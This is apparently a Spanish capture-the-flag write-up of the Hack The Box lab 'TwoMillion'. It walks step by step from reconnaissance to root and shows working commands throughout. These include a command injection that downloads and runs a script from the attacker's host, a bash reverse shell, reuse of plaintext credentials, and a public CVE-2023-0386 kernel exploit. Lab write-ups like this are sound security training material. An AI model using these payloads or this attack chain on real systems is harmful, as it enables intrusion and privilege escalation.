TwoMillion



Conocimientos


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.221 -oG openports
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-26 21:31 GMT
Nmap scan report for 10.10.11.221
Host is up (0.087s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 13.51 seconds

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,80 10.10.11.221 -oN portscan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-26 21:32 GMT
Nmap scan report for 10.10.11.221
Host is up (0.099s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.37 seconds

Añado el dominio 2million.htb al /etc/hosts

Puerto 80 (HTTP)

En la página principal puedo ver un link a /invite

Necesito un código para poder registrarme

Tramito una petición por GET, y desde el código fuente, puedo ver dos ficheros en JavaScript

curl -s -X GET http://2million.htb/invite | grep -oP '".*?"' | grep "\.js"
"/js/htb-frontend.min.js"
"/js/inviteapi.min.js"

El segundo utiliza la función eval para comunicarse con una API

curl -s -X GET http://2million.htb/js/inviteapi.min.js
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))

Se definen unas funciones que puedo tratar de ejecutar desde la consola del navegador

Se está empleado ROT13, por lo que puedo obtener el texto haciendo el proceso inverso. Utilizo la web rot13.com

Tramito una petición por POST a la ruta dada, y consigo el código

curl -s -X POST http://2million.htb/api/v1/invite/generate | jq
{
  "0": 200,
  "success": 1,
  "data": {
    "code": "WjFJRDMtT1pKSTYtQjNTUlYtOVZTMUc=",
    "format": "encoded"
  }
}

Está en base64

echo WjFJRDMtT1pKSTYtQjNTUlYtOVZTMUc= | base64 -d
Z1ID3-OZJI6-B3SRV-9VS1G

Lo introduzco en la web y se abre un formulario de registro

Gano acceso a una nueva interfaz

Tramito una petición por GET a /api/v1 arrastrando la cookie de sesión y obtengo todas las rutas disponibles

curl -s -X GET http://2million.htb/api/v1 -H "Cookie: PHPSESSID=6uhbsaq0ijeop2ujkk3nm2bjl0" | jq
{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

Compruebo si soy usuario Administrador

curl -s -X GET http://2million.htb/api/v1/admin/auth -H "Cookie: PHPSESSID=6uhbsaq0ijeop2ujkk3nm2bjl0" | jq
{
  "message": false
}

Puedo añadirme el rol. El método que espera es PUT

curl -s -X PUT http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=6uhbsaq0ijeop2ujkk3nm2bjl0" | jq
{
  "status": "danger",
  "message": "Invalid content type."
}

Agrego la cabecera del Content-type

curl -s -X PUT http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=6uhbsaq0ijeop2ujkk3nm2bjl0" -H "Content-type: application/json" | jq
{
  "status": "danger",
  "message": "Missing parameter: email"
}

Por cada parámetro que falta muestra un error

curl -s -X PUT http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=6uhbsaq0ijeop2ujkk3nm2bjl0" -H "Content-type: application/json" -d '{"email":"rubbx@rubbx.com"}' | jq
{
  "status": "danger",
  "message": "Missing parameter: is_admin"
}

Igualo is_admin a 1, que sería la opción booleana de true

curl -s -X PUT http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=6uhbsaq0ijeop2ujkk3nm2bjl0" -H "Content-type: application/json" -d '{"email":"rubbx@rubbx.com", "is_admin": "true"}' | jq
{
  "status": "danger",
  "message": "Variable is_admin needs to be either 0 or 1."
}
curl -s -X PUT http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=6uhbsaq0ijeop2ujkk3nm2bjl0" -H "Content-type: application/json" -d '{"email":"rubbx@rubbx.com", "is_admin": 1}' | jq
{
  "id": 14,
  "username": "rubbx",
  "is_admin": 1
}

Al volver a checkear el mensaje cambia

curl -s -X GET http://2million.htb/api/v1/admin/auth -H "Cookie: PHPSESSID=6uhbsaq0ijeop2ujkk3nm2bjl0" | jq
{
  "message": true
}

Intento generar una vpn, pero desde /admin

curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate -H "Cookie: PHPSESSID=6uhbsaq0ijeop2ujkk3nm2bjl0" -H "Content-type: application/json" | jq
{
  "status": "danger",
  "message": "Missing parameter: username"
}

Es vulnerable a RCE a través de una inyección en el campo username

curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate -H "Cookie: PHPSESSID=6uhbsaq0ijeop2ujkk3nm2bjl0" -H "Content-type: application/json" -d '{"username":"test; id;"}'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Creo un archivo index.html que se encargue de enviarme una reverse shell

#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.16.69/443 0>&1'

Lo comparto con un servicio HTTP con python

python3 -m http.server 80

Gano acceso al sistema

curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate -H "Cookie: PHPSESSID=6uhbsaq0ijeop2ujkk3nm2bjl0" -H "Content-type: application/json" -d '{"username":"test; curl 10.10.16.69|bash;"}'
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.69] from (UNKNOWN) [10.10.11.221] 58196
bash: cannot set terminal process group (1158): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@2million:~/html$ ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm
www-data@2million:~/html$ export TERM=xterm-color
www-data@2million:~/html$ stty rows 55 columns 209
www-data@2million:~/html$ source /etc/skel/.bashrc

Busco por archivos cuyo propietario sea admin

www-data@2million:/$ find \-user admin 2>/dev/null 
./home/admin
./home/admin/.cache
./home/admin/.ssh
./home/admin/.profile
./home/admin/.bash_logout
./home/admin/.bashrc
./var/mail/admin

Puedo leer el correo

www-data@2million:/$ cat ./var/mail/admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

En el archivo .env se encuentran credenciales en texto claro de acceso a la base de datos. Se reutilizan para el usuario admin

www-data@2million:~/html$ cat .env 
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

Puedo ver la primera flag

www-data@2million:~/html$ su admin
Password: 
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
1
2
admin@2million:/var/www/html$ cat /home/admin/user.txt 
4c1a0361697b984df54e8262f19c3196

Escalada

La versión de kernel es vulnerable al CVE-2023-0386

admin@2million:/tmp$ cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.2 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.2 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

Clono el repositorio

https://github.com/sxlmnwb/CVE-2023-0386

Creo un un comprimido y transifiero a la máquina víctima

zip exploit.zip -r CVE-2023-0386

En la máquina víctima, compilo y ejecuto

admin@2million:/tmp/CVE-2023-0386$ make all
root@2million:/tmp/CVE-2023-0386# ./fuse ./ovlcap/lower ./gc &
[+] len of gc: 0x3ee0
[1] 3435
./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root   root     4096 Jul 27 10:39 .
drwxr-xr-x 6 root   root     4096 Jul 27 10:39 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@2million:/tmp/CVE-2023-0386# 

Puedo ver la segunda flag

root@2million:/tmp/CVE-2023-0386/ovlcap# cat /root/root.txt 
76d6192d8983ac21f6ed3f25fbcfb264